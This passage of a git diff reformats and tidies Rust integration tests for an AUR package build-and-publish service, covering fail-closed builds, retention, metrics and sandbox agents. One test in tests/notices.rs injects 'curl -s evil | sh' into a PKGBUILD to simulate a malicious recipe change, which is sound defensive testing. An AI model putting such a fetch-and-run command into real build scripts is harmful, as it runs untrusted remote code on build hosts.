- Ok(rows.filter_map(|r| r.ok()).collect::<Vec<_>>())
+ Ok(rows.filter_map(std::result::Result::ok).collect::<Vec<_>>())
})
.unwrap();
for want in ["approve", "publish", "build.start", "build.succeeded"] {
@@ -353,10 +314,10 @@ fn index_db_names(path: &std::path::Path) -> Vec<String> {
let mut names: Vec<String> = ar
.entries()
.unwrap()
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.filter_map(|e| {
let p = e.path().ok()?.to_string_lossy().into_owned();
- p.split('/').next().map(|s| s.to_string())
+ p.split('/').next().map(std::string::ToString::to_string)
})
.collect();
names.sort();
@@ -386,16 +347,9 @@ fn i9_a_build_cannot_smuggle_bytes_in_from_outside_its_own_staging_dir() {
other => panic!("a build that smuggled in a symlink must fail closed, got {other:?}"),
};
assert_eq!(step, "collect", "it should be refused at collect, before anything is copied");
- assert!(
- err.contains("symlink") && err.contains("staging"),
- "the failure should say why it refused: {err}"
- );
+ assert!(err.contains("symlink") && err.contains("staging"), "the failure should say why it refused: {err}");
- assert_eq!(
- dir_listing(&env.cfg.store_dir()),
- store_before,
- "the store must be untouched by a refused build"
- );
+ assert_eq!(dir_listing(&env.cfg.store_dir()), store_before, "the store must be untouched by a refused build");
assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Failed);
assert!(db::index_version(&env.db, "plain-make").unwrap().is_none(), "nothing publishes from a failed build");
assert!(secret.exists());
diff --git a/tests/kata.rs b/tests/kata.rs
index a87a800..271a36f 100644
--- a/tests/kata.rs
+++ b/tests/kata.rs
@@ -13,7 +13,6 @@ use common::{env_with_fixture, shim_dir};
// lease provisions, and the TTL expiry of a sandbox that never dials in — moved
// into src/sandbox/kata.rs, where that machinery is declared.
-
fn agent_sandbox_config() -> Config {
let tmp = tempfile::tempdir().unwrap();
std::fs::write(
@@ -45,9 +44,7 @@ fn a_provisioned_sandbox_rendezvous_and_runs_a_command() {
let sbx = backend
.acquire(&SandboxSpec::new("extra-x86_64", "build-1", Duration::from_secs(15)))
.expect("the provisioned agent should dial in and rendezvous");
- let out = sbx
- .run(&Cmd::new(["/bin/echo", "hi from the sandbox"]), &mut |_| {})
- .unwrap();
+ let out = sbx.run(&Cmd::new(["/bin/echo", "hi from the sandbox"]), &mut |_| {}).unwrap();
assert!(out.success());
assert_eq!(String::from_utf8_lossy(&out.stdout), "hi from the sandbox\n");
sbx.destroy().unwrap();
diff --git a/tests/live.rs b/tests/live.rs
index b891b7e..c3918a3 100644
--- a/tests/live.rs
+++ b/tests/live.rs
@@ -3,8 +3,8 @@ mod common;
use std::io::Read;
use std::time::{Duration, Instant};
-use aur_build::db::model::BuildState;
use aur_build::db::builds;
+use aur_build::db::model::BuildState;
use aur_build::pipeline;
use aur_build::review::{candidates, diff};
use common::*;
@@ -170,11 +170,7 @@ fn raw_get(web: &Web, path: &str, gzip: bool) -> (String, Vec<u8>) {
let addr = web.server.addr.clone();
let mut sock = std::net::TcpStream::connect(&addr).unwrap();
let enc = if gzip { "gzip" } else { "identity" };
- write!(
- sock,
- "GET {path} HTTP/1.1\r\nHost: {addr}\r\nAccept-Encoding: {enc}\r\nConnection: close\r\n\r\n"
- )
- .unwrap();
+ write!(sock, "GET {path} HTTP/1.1\r\nHost: {addr}\r\nAccept-Encoding: {enc}\r\nConnection: close\r\n\r\n").unwrap();
let mut br = BufReader::new(sock);
let mut headers = String::new();
loop {
diff --git a/tests/notices.rs b/tests/notices.rs
index 3fb0055..aec5b2d 100644
--- a/tests/notices.rs
+++ b/tests/notices.rs
@@ -1,8 +1,8 @@
mod common;
use aur_build::db::{self, model::*};
-use aur_build::review::risk;
use aur_build::review::approve::approve as do_approve;
+use aur_build::review::risk;
use aur_build::review::{candidates, diff};
use aur_build::watch::detect;
use common::*;
@@ -72,7 +72,8 @@ fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() {
let path = fx.aur.join("PKGBUILD");
let text = std::fs::read_to_string(&path).unwrap();
- std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap();
+ std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh"))
+ .unwrap();
git(&fx.aur, &["add", "-A"]);
git(&fx.aur, &["commit", "-q", "-m", "sneaky"]);
@@ -143,8 +144,18 @@ fn a_first_introduction_is_flagged_as_its_own_kind_of_review() {
#[test]
fn i11_nothing_publishable_is_ever_silently_dropped() {
let fixtures = [
- "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset",
- "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails",
+ "plain-make",
+ "with-patch",
+ "skip-checksum",
+ "split-pkgbase",
+ "epoch-bump",
+ "pkgrel-reset",
+ "downgrade",
+ "git-sourced",
+ "pin-drift",
+ "digest-drift",
+ "missing-dep",
+ "build-fails",
];
for name in fixtures {
let (env, fx) = env_with_fixture(name);
@@ -161,10 +172,7 @@ fn i11_nothing_publishable_is_ever_silently_dropped() {
);
let notices = db::list_notices(&env.db, false).unwrap();
if let detect::Outcome::Notice { kind, .. } = &first {
- assert!(
- notices.iter().any(|n| &n.kind == kind),
- "{name}: a {kind} outcome left no notice row"
- );
+ assert!(notices.iter().any(|n| &n.kind == kind), "{name}: a {kind} outcome left no notice row");
}
let _ = fx.bump(&[("pkgrel", "99")]);
let second = detect_outcome(&env, name);
diff --git a/tests/ops.rs b/tests/ops.rs
index 821b733..4570c86 100644
--- a/tests/ops.rs
+++ b/tests/ops.rs
@@ -76,16 +76,10 @@ fn retention_keeps_the_newest_n_versions_and_never_deletes_a_row() {
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(5));
assert_eq!(env.query_i64("SELECT count(*) FROM artifact", &[]), Some(5));
- assert_eq!(
- env.query_i64("SELECT count(*) FROM artifact WHERE purged_at IS NOT NULL", &[]),
- Some(3)
- );
- assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE purged_at IS NOT NULL", &[]),
- Some(3)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM artifact WHERE purged_at IS NOT NULL", &[]), Some(3));
+ assert_eq!(env.query_i64("SELECT count(*) FROM release WHERE purged_at IS NOT NULL", &[]), Some(3));
assert_eq!(env.query_i64("SELECT count(*) FROM gc_run", &[]), Some(1));
- assert!(env.query_i64("SELECT count(*) FROM audit WHERE action='retention'", &[]) == Some(1));
+ assert_eq!(env.query_i64("SELECT count(*) FROM audit WHERE action='retention'", &[]), Some(1));
}
#[test]
@@ -95,11 +89,9 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() {
let oldest = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT id FROM release WHERE state='published' ORDER BY id LIMIT 1",
- [],
- |r| r.get::<_, i64>(0),
- )?)
+ Ok(c.query_row("SELECT id FROM release WHERE state='published' ORDER BY id LIMIT 1", [], |r| {
+ r.get::<_, i64>(0)
+ })?)
})
.unwrap();
let files = ops::release_files(&env.cfg, &env.db, oldest).unwrap();
@@ -124,19 +116,13 @@ fn retention_keeps_a_package_with_its_log_and_sources_as_one_unit() {
let (pkg, sig, log) = &held[0];
for (what, p) in [("package", pkg), ("signature", sig), ("build log", log)] {
let p = p.as_ref().unwrap_or_else(|| panic!("the release should hold a {what}"));
- assert!(
- files.iter().any(|f| f == Path::new(p)),
- "release_files must include the {what} ({p}): {files:?}"
- );
+ assert!(files.iter().any(|f| f == Path::new(p)), "release_files must include the {what} ({p}): {files:?}");
assert!(Path::new(p).exists(), "the {what} should exist before eviction");
}
ops::retention(&env.cfg, &env.db, Some(1)).unwrap();
let still_there: Vec<&PathBuf> = files.iter().filter(|f| f.exists()).collect();
- assert!(
- still_there.is_empty(),
- "evicting a release must take its log and signature with it: {still_there:?}"
- );
+ assert!(still_there.is_empty(), "evicting a release must take its log and signature with it: {still_there:?}");
}
#[test]
@@ -156,25 +142,17 @@ fn retention_never_evicts_the_version_the_index_is_serving() {
let served_release = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT p.release_id FROM package p WHERE p.state='in_index' LIMIT 1",
- [],
- |r| r.get::<_, i64>(0),
- )?)
+ Ok(c.query_row("SELECT p.release_id FROM package p WHERE p.state='in_index' LIMIT 1", [], |r| {
+ r.get::<_, i64>(0)
+ })?)
})
.unwrap();
env.exec("UPDATE package SET state='removed' WHERE state='in_index'", &[]);
- env.exec(
- "UPDATE package SET state='in_index' WHERE release_id=?1",
- &[P::I(served_release)],
- );
+ env.exec("UPDATE package SET state='in_index' WHERE release_id=?1", &[P::I(served_release)]);
let report = ops::retention(&env.cfg, &env.db, Some(1)).unwrap();
assert!(report.releases_evicted >= 1, "something should have been evicted: {report:?}");
- assert!(
- Path::new(&served).exists(),
- "retention deleted the artifact the index is serving: {served}"
- );
+ assert!(Path::new(&served).exists(), "retention deleted the artifact the index is serving: {served}");
}
#[test]
@@ -231,10 +209,7 @@ fn metrics_reports_the_operating_numbers_in_prometheus_format() {
}
for line in text.lines().filter(|l| !l.starts_with('#')) {
let tail = line.rsplit(' ').next().unwrap_or("");
- assert!(
- tail.parse::<f64>().is_ok(),
- "not a prometheus sample: {line:?}"
- );
+ assert!(tail.parse::<f64>().is_ok(), "not a prometheus sample: {line:?}");
}
for line in text.lines().filter(|l| l.starts_with("# TYPE")) {
let name = line.split_whitespace().nth(2).unwrap();
@@ -277,11 +252,7 @@ fn the_http_metrics_endpoint_serves_scrapeable_text() {
assert!(page.body.contains("aurbuild_sqlite_wal_size_bytes"));
let (headers, body) = web.raw_get("/metrics");
assert!(body.contains("aurbuild_up 1"), "metrics should be reachable unauthenticated");
- let ct = headers
- .iter()
- .find(|(k, _)| k.eq_ignore_ascii_case("content-type"))
- .map(|(_, v)| v.clone())
- .unwrap_or_default();
+ let ct = headers.iter().find(|(k, _)| k.eq_ignore_ascii_case("content-type")).map_or_default(|(_, v)| v.clone());
assert!(ct.starts_with("text/plain"), "a scraper wants text/plain, got {ct}");
}
@@ -306,12 +277,9 @@ fn backup_is_a_consistent_single_file_that_reopens_and_matches() {
assert_eq!(releases, 1);
drop(probe);
- let mode: String = env
- .db
- .read(|c| Ok(c.query_row("PRAGMA journal_mode", [], |r| r.get::<_, String>(0))?))
- .unwrap();
+ let mode: String = env.db.read(|c| Ok(c.query_row("PRAGMA journal_mode", [], |r| r.get::<_, String>(0))?)).unwrap();
assert_eq!(mode.to_lowercase(), "wal", "the live db should still be WAL");
- assert!(env.query_i64("SELECT count(*) FROM approval", &[]) == Some(1));
+ assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
}
#[test]
diff --git a/tests/pipeline.rs b/tests/pipeline.rs
index d3816d6..1f62203 100644
--- a/tests/pipeline.rs
+++ b/tests/pipeline.rs
@@ -25,8 +25,7 @@ fn run_for(env: &Env, c: &CandidateRow) -> pipeline::Outcome {
fn in_index(env: &Env) -> Vec<(String, String)> {
env.db
.read(|c| {
- let mut st =
- c.prepare("SELECT name, version FROM package WHERE state='in_index' ORDER BY name")?;
+ let mut st = c.prepare("SELECT name, version FROM package WHERE state='in_index' ORDER BY name")?;
let rows = st.query_map([], |r| Ok((r.get(0)?, r.get(1)?)))?;
let mut v = Vec::new();
for r in rows {
@@ -71,10 +70,7 @@ fn end_to_end_publishes_a_signed_index() {
let all = step_rows(&env);
assert_eq!(all.len(), BUILD_STEPS.len(), "one row per step: {all:?}");
- assert!(
- all.iter().all(|(_, s)| s == "succeeded" || s == "skipped"),
- "{all:?}"
- );
+ assert!(all.iter().all(|(_, s)| s == "succeeded" || s == "skipped"), "{all:?}");
}
#[test]
@@ -116,11 +112,7 @@ fn a_tampered_store_artifact_fails_the_lease_closed() {
let (digest, path): (String, String) = env
.db
- .read(|c| {
- Ok(c.query_row("SELECT digest, path FROM artifact LIMIT 1", [], |r| {
- Ok((r.get(0)?, r.get(1)?))
- })?)
- })
+ .read(|c| Ok(c.query_row("SELECT digest, path FROM artifact LIMIT 1", [], |r| Ok((r.get(0)?, r.get(1)?)))?))
.unwrap();
let original = std::fs::read(&path).unwrap();
let mut tampered = original.clone();
@@ -186,11 +178,9 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() {
let old: i64 = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'",
- [],
- |r| r.get(0),
- )?)
+ Ok(c.query_row("SELECT count(*) FROM package WHERE state='in_index' AND version='1.0-1'", [], |r| {
+ r.get(0)
+ })?)
})
.unwrap();
assert_eq!(old, 0, "the previous release must leave the index");
@@ -200,10 +190,7 @@ fn i8_served_index_holds_exactly_the_accepted_pointers() {
fn step0_fails_closed_when_the_recipe_hash_drifts() {
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
- env.exec(
- "UPDATE snapshot SET recipe_hash='deadbeef' WHERE id=?1",
- &params(vec![c.snapshot_id]),
- );
+ env.exec("UPDATE snapshot SET recipe_hash='deadbeef' WHERE id=?1", &params(vec![c.snapshot_id]));
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Failed { step, error, .. } => {
@@ -213,7 +200,7 @@ fn step0_fails_closed_when_the_recipe_hash_drifts() {
other => panic!("expected a fail-closed failure, got {other:?}"),
}
assert!(db::accepted_release(&env.db, "plain-make").unwrap().is_none());
- assert!(in_index(&env).is_empty());
+ assert_eq!(in_index(&env), [] as [(std::string::String, std::string::String); 0]);
}
#[test]
@@ -232,7 +219,7 @@ fn step4_fails_closed_when_pkgver_no_longer_matches() {
}
other => panic!("expected a fail-closed pkgver failure, got {other:?}"),
}
- assert!(in_index(&env).is_empty());
+ assert_eq!(in_index(&env), [] as [(std::string::String, std::string::String); 0]);
}
#[test]
@@ -259,10 +246,7 @@ fn i4_kill_mid_publish_leaves_the_old_index_intact() {
assert_eq!(std::fs::read(&v1).unwrap(), before);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
- assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]),
- Some(0)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]), Some(0));
}
#[test]
@@ -275,12 +259,8 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() {
let c2 = approve_pending(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c2).unwrap();
env.set_publish_fault("before-rename");
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
- let builds_after_crash =
- aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
+ let builds_after_crash = aur_build::shims::called_with(&env.cfg.hooks.shim_dir.clone().unwrap(), "makepkg", "");
assert_eq!(builds_after_crash, 2, "one real build before the crash");
env.clear_publish_fault();
@@ -294,10 +274,7 @@ fn i5_a_restarted_build_resumes_at_the_next_incomplete_step() {
"resuming must not rebuild"
);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0.1-1".into())]);
- assert_eq!(
- env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]),
- Some(1)
- );
+ assert_eq!(env.query_i64("SELECT count(*) FROM release WHERE pkgver='1.0.1'", &[]), Some(1));
}
#[test]
@@ -327,10 +304,7 @@ fn a_failed_build_leaves_the_previous_version_serving() {
other => panic!("{other:?}"),
}
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
- assert_eq!(
- candidates::candidate_by_id(&env.db, c2.id).unwrap().unwrap().state,
- CandidateState::Approved
- );
+ assert_eq!(candidates::candidate_by_id(&env.db, c2.id).unwrap().unwrap().state, CandidateState::Approved);
assert_eq!(
env.query_i64("SELECT count(*) FROM package WHERE state='in_index' AND version='1.0.1-1'", &[]),
Some(0)
@@ -385,10 +359,7 @@ fn i6_manual_rebuild_reuses_the_approved_identity() {
let before = env.query_i64("SELECT count(*) FROM approval", &[]);
let id = pipeline::enqueue_manual_rebuild(&env.cfg, &env.db, "plain-make").unwrap();
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Succeeded { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Succeeded { .. }));
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), before);
assert_eq!(in_index(&env), vec![("plain-make".into(), "1.0-1".into())]);
assert_eq!(env.query_i64("SELECT count(*) FROM release", &[]), Some(2));
@@ -424,7 +395,9 @@ fn i12_world_snapshot_is_recorded_at_ingest() {
let json: String = env
.db
.read(|c| {
- Ok(c.query_row("SELECT members_json FROM world_snapshot WHERE id=?1", rusqlite::params![wid], |r| r.get(0))?)
+ Ok(c.query_row("SELECT members_json FROM world_snapshot WHERE id=?1", rusqlite::params![wid], |r| {
+ r.get(0)
+ })?)
})
.unwrap();
let parsed: Vec<serde_json::Value> = serde_json::from_str(&json).unwrap();
@@ -464,10 +437,7 @@ fn a_stale_accepted_pointer_refuses_to_publish() {
let (env, _fx) = env_with_fixture("plain-make");
let c = approve_fixture(&env, "plain-make");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
- env.exec(
- "UPDATE pkgbase SET current_accepted_release_id=4242 WHERE name='plain-make'",
- &[],
- );
+ env.exec("UPDATE pkgbase SET current_accepted_release_id=4242 WHERE name='plain-make'", &[]);
match pipeline::run(&env.cfg, &env.db, &id).unwrap() {
pipeline::Outcome::Failed { step, error, .. } => {
assert_eq!(step, "publish");
@@ -475,7 +445,7 @@ fn a_stale_accepted_pointer_refuses_to_publish() {
}
other => panic!("expected a CAS refusal, got {other:?}"),
}
- assert!(in_index(&env).is_empty());
+ assert_eq!(in_index(&env), [] as [(std::string::String, std::string::String); 0]);
}
// ------------------------------------------------------- withdrawal and cleanup --
@@ -500,13 +470,10 @@ fn a_publish_that_does_not_land_leaves_no_orphan_files_in_the_served_tree() {
let c = approve_fixture(&env, "plain-make");
env.set_publish_fault("before-rename");
let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap();
- assert!(matches!(
- pipeline::run(&env.cfg, &env.db, &id).unwrap(),
- pipeline::Outcome::Failed { .. }
- ));
+ assert!(matches!(pipeline::run(&env.cfg, &env.db, &id).unwrap(), pipeline::Outcome::Failed { .. }));
let stray: Vec<String> = std::fs::read_dir(env.cfg.repo_arch_dir())
.expect("arch dir")
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.map(|e| e.file_name().to_string_lossy().to_string())
.filter(|n| n.ends_with(".pkg.tar.zst") || n.ends_with(".sig"))
.collect();
diff --git a/tests/production_surface.rs b/tests/production_surface.rs
index bcf3e92..bf0a497 100644
--- a/tests/production_surface.rs
+++ b/tests/production_surface.rs
@@ -49,16 +49,10 @@ fn no_production_module_references_the_shim_harness() {
fn the_served_index_has_exactly_one_serialization_lock() {
let src = std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("src/pipeline/publish.rs"))
.expect("read publish.rs");
- let mutexes = src
- .lines()
- .filter(|l| l.contains("static") && l.contains("Mutex<"))
- .collect::<Vec<_>>();
+ let mutexes = src.lines().filter(|l| l.contains("static") && l.contains("Mutex<")).collect::<Vec<_>>();
assert_eq!(mutexes.len(), 1, "publish.rs must declare exactly one serialization mutex, found {mutexes:?}");
assert!(!src.contains("PUBLISH_LOCK"), "the second lock must stay deleted");
- let acquisitions = src
- .lines()
- .filter(|l| l.contains("lock_repo()") && !l.trim_start().starts_with("fn "))
- .count();
+ let acquisitions = src.lines().filter(|l| l.contains("lock_repo()") && !l.trim_start().starts_with("fn ")).count();
assert!(
acquisitions >= 2,
"publish and withdraw_package must both take the repo lock; found {acquisitions} acquisitions"
@@ -67,8 +61,8 @@ fn the_served_index_has_exactly_one_serialization_lock() {
#[test]
fn the_shim_binaries_are_test_only() {
- let manifest = std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("Cargo.toml"))
- .expect("read Cargo.toml");
+ let manifest =
+ std::fs::read_to_string(Path::new(env!("CARGO_MANIFEST_DIR")).join("Cargo.toml")).expect("read Cargo.toml");
for tool in ["mkarchroot", "makechrootpkg", "makepkg", "repo-add", "gpg", "pacman"] {
let block = manifest
.split("[[bin]]")
@@ -169,20 +163,12 @@ fn the_virtual_clock_is_compiled_out_without_test_support() {
fallback.contains("pub fn virtual_sleep() -> bool") && fallback.contains("false"),
"the fallback must report a real wait so the seam compiles to a plain sleep"
);
- assert!(
- !fallback.contains("Mutex"),
- "nothing may be locked on the wait path of a production build"
- );
+ assert!(!fallback.contains("Mutex"), "nothing may be locked on the wait path of a production build");
}
#[test]
fn control_loops_wait_through_the_clock_seam() {
- for file in [
- "src/pipeline/dispatch.rs",
- "src/watch/scheduler.rs",
- "src/http/sse.rs",
- "src/sandbox/remote.rs",
- ] {
+ for file in ["src/pipeline/dispatch.rs", "src/watch/scheduler.rs", "src/http/sse.rs", "src/sandbox/remote.rs"] {
let src = read(file);
assert!(
!src.contains("std::thread::sleep"),
diff --git a/tests/remote_agent.rs b/tests/remote_agent.rs
index 534b346..05a5832 100644
--- a/tests/remote_agent.rs
+++ b/tests/remote_agent.rs
@@ -43,10 +43,7 @@ fn a_full_build_runs_over_the_agent_protocol() {
assert!(matches!(out, pipeline::Outcome::Succeeded { .. }), "{out:?}");
let log = std::fs::read_to_string(env.cfg.build_log_path(&id)).unwrap();
- assert!(
- log.contains("Making package"),
- "agent-streamed output must reach the build log:\n{log}"
- );
+ assert!(log.contains("Making package"), "agent-streamed output must reach the build log:\n{log}");
let shimlog = env.cfg.hooks.shim_dir.clone().unwrap();
assert_eq!(aur_build::shims::called_with(&shimlog, "makepkg", ""), 1);
@@ -62,9 +59,7 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() {
.args(["--hub", &addr, "--token", "right-token", "--ttl", "30"])
.spawn()
.expect("spawn sandbox-agent");
- let sbx = backend
- .acquire(&SandboxSpec::new("extra-x86_64", "blob-test", Duration::from_secs(10)))
- .unwrap();
+ let sbx = backend.acquire(&SandboxSpec::new("extra-x86_64", "blob-test", Duration::from_secs(10))).unwrap();
let bytes = b"pinned artifact bytes".to_vec();
let digest = aur_build::hash::hex(&bytes);
sbx.put(&digest, &mut std::io::Cursor::new(bytes.clone())).unwrap();
@@ -78,9 +73,8 @@ fn blobs_round_trip_over_the_wire_and_a_bad_token_is_refused() {
.args(["--hub", &addr, "--token", "wrong-token", "--ttl", "30"])
.spawn()
.expect("spawn sandbox-agent");
- let err = match backend.acquire(&SandboxSpec::new("extra-x86_64", "nope", Duration::from_secs(10))) {
- Err(e) => e,
- Ok(_) => panic!("a stranger's box must not be leased"),
+ let Err(err) = backend.acquire(&SandboxSpec::new("extra-x86_64", "nope", Duration::from_secs(10))) else {
+ panic!("a stranger's box must not be leased")
};
assert!(err.to_string().contains("token"), "{err}");
let _ = bad.wait();
@@ -151,11 +145,8 @@ fn two_concurrent_builds_do_not_fight_over_the_listener() {
let addr = format!("127.0.0.1:{}", free_port());
let (mut env, _fa, _fb) = env_with_two_fixtures("plain-make", "install-hooks");
env.cfg.max_concurrent_builds = 2;
- env.cfg.sandbox = aur_build::config::Sandbox::Remote {
- listen: addr.clone(),
- token: "concurrent".into(),
- shared_workspace: true,
- };
+ env.cfg.sandbox =
+ aur_build::config::Sandbox::Remote { listen: addr.clone(), token: "concurrent".into(), shared_workspace: true };
let mut ids = Vec::new();
for name in ["plain-make", "install-hooks"] {
diff --git a/tests/schema_ownership.rs b/tests/schema_ownership.rs
index 34fb184..9df7fa5 100644
--- a/tests/schema_ownership.rs
+++ b/tests/schema_ownership.rs
@@ -1,13 +1,12 @@
use std::path::{Path, PathBuf};
const SQL_LITERALS: &[&str] = &[
- "\"SELECT", "\"select", "\"INSERT", "\"insert", "\"UPDATE", "\"update", "\"DELETE", "\"delete",
- "\"PRAGMA", "\"WITH",
+ "\"SELECT", "\"select", "\"INSERT", "\"insert", "\"UPDATE", "\"update", "\"DELETE", "\"delete", "\"PRAGMA",
+ "\"WITH",
];
-const STATEMENT_CALLS: &[&str] = &[
- ".query_row(", ".query_map(", ".execute(", ".execute_batch(", ".prepare(", ".pragma_query_value(",
-];
+const STATEMENT_CALLS: &[&str] =
+ &[".query_row(", ".query_map(", ".execute(", ".execute_batch(", ".prepare(", ".pragma_query_value("];
fn rust_files(dir: &Path, out: &mut Vec<PathBuf>) {
for entry in std::fs::read_dir(dir).expect("read_dir") {
@@ -47,11 +46,7 @@ fn no_sql_statements_outside_the_db_module() {
}
}
}
- assert!(
- offenders.is_empty(),
- "SQL belongs to `db/`. Move these into a typed query:\n{}",
- offenders.join("\n")
- );
+ assert!(offenders.is_empty(), "SQL belongs to `db/`. Move these into a typed query:\n{}", offenders.join("\n"));
}
#[test]
@@ -83,9 +78,6 @@ trait StripPath {
impl StripPath for PathBuf {
fn strip_path(&self, root: &Path) -> String {
- self.strip_prefix(root)
- .unwrap_or(self.as_path())
- .to_string_lossy()
- .replace('\\', "/")
+ self.strip_prefix(root).unwrap_or(self.as_path()).to_string_lossy().replace('\\', "/")
}
}
diff --git a/tests/shims.rs b/tests/shims.rs
index 345d9f2..98f27b0 100644
--- a/tests/shims.rs
+++ b/tests/shims.rs
@@ -12,11 +12,7 @@ fn shim(tool: &str, cwd: &Path, envs: &[(&str, &Path)], args: &[&str]) -> (i32,
assert!(exe.exists(), "shim {tool} not built at {}", exe.display());
let out = Command::new(&exe)
.current_dir(cwd)
- .envs(
- envs
- .iter()
- .map(|(k, v)| (*k, v.as_os_str().to_os_string())),
- )
+ .envs(envs.iter().map(|(k, v)| (*k, v.as_os_str().to_os_string())))
.args(args)
.output()
.expect("run shim");
@@ -36,11 +32,7 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() {
let tmp = tempfile::tempdir().unwrap();
let build = tmp.path().join("build");
std::fs::create_dir_all(&build).unwrap();
- std::fs::write(
- build.join("PKGBUILD"),
- common::pkgbuild("plain-make", "1.0", "1", ""),
- )
- .unwrap();
+ std::fs::write(build.join("PKGBUILD"), common::pkgbuild("plain-make", "1.0", "1", "")).unwrap();
let log = tmp.path().join("shimlog");
std::fs::create_dir_all(&log).unwrap();
@@ -66,10 +58,7 @@ fn makechrootpkg_emits_pkginfo_buildinfo_and_sig() {
assert!(buildinfo.contains(" glibc 2.39-1 x86_64 -"));
assert!(build.with_extension("pkg.tar.zst.sig").exists() || pkg.with_extension("pkg.tar.zst.sig").exists());
assert_eq!(
- shims::invocations(&log)
- .iter()
- .filter(|e| e["tool"] == "makechrootpkg")
- .count(),
+ shims::invocations(&log).iter().filter(|e| e["tool"] == "makechrootpkg").count(),
1,
"invocation recorded for the pipeline to assert on"
);
@@ -117,12 +106,7 @@ fn repo_add_writes_a_pacman_database() {
let build = tmp.path().join("build");
std::fs::create_dir_all(&build).unwrap();
std::fs::write(build.join("PKGBUILD"), common::pkgbuild("plain-make", "1.0", "1", "")).unwrap();
- shim(
- "makechrootpkg",
- &build,
- &[("AUR_SHIM_MANIFEST", &fixture_manifest("plain-make"))],
- &["-c", "-r", "chroot"],
- );
+ shim("makechrootpkg", &build, &[("AUR_SHIM_MANIFEST", &fixture_manifest("plain-make"))], &["-c", "-r", "chroot"]);
let pkg = build.join("plain-make-1.0-1-x86_64.pkg.tar.zst");
let db = tmp.path().join("aur-build.db.tar.gz");
@@ -137,11 +121,7 @@ fn repo_add_writes_a_pacman_database() {
let dec = flate2::read::GzDecoder::new(std::fs::File::open(&db).unwrap());
let mut ar = tar::Archive::new(dec);
- let names: Vec<String> = ar
- .entries()
- .unwrap()
- .map(|e| e.unwrap().path().unwrap().display().to_string())
- .collect();
+ let names: Vec<String> = ar.entries().unwrap().map(|e| e.unwrap().path().unwrap().display().to_string()).collect();
assert!(names.iter().any(|n| n == "plain-make/DESC"), "{names:?}");
let desc = {
let dec = flate2::read::GzDecoder::new(std::fs::File::open(&db).unwrap());
@@ -181,12 +161,8 @@ fn pacman_u_verifies_digests_and_q_reports_the_world() {
let blob = tmp.path().join(aur_build::hash::hex(&bytes));
std::fs::write(&blob, &bytes).unwrap();
- let (code, _, err) = shim(
- "pacman",
- tmp.path(),
- &[("AUR_SHIM_DIR", &log)],
- &["-U", "--noconfirm", &blob.display().to_string()],
- );
+ let (code, _, err) =
+ shim("pacman", tmp.path(), &[("AUR_SHIM_DIR", &log)], &["-U", "--noconfirm", &blob.display().to_string()]);
assert_eq!(code, 0, "{err}");
let (code, out, _) = shim("pacman", tmp.path(), &[("AUR_SHIM_DIR", &log)], &["-Q"]);
@@ -195,12 +171,7 @@ fn pacman_u_verifies_digests_and_q_reports_the_world() {
let bad = tmp.path().join(aur_build::hash::hex(b"some other artifact"));
std::fs::write(&bad, b"tampered").unwrap();
- let (code, _, err) = shim(
- "pacman",
- tmp.path(),
- &[("AUR_SHIM_DIR", &log)],
- &["-U", &bad.display().to_string()],
- );
+ let (code, _, err) = shim("pacman", tmp.path(), &[("AUR_SHIM_DIR", &log)], &["-U", &bad.display().to_string()]);
assert_ne!(code, 0, "a digest mismatch must fail closed");
assert!(err.contains("hash"), "{err}");
}
@@ -273,7 +244,7 @@ fn every_fixture_is_drivable_through_the_shims() {
assert!(out.status.success(), "{name}: {}", String::from_utf8_lossy(&out.stderr));
let pkgs: Vec<_> = std::fs::read_dir(&build)
.unwrap()
- .filter_map(|e| e.ok())
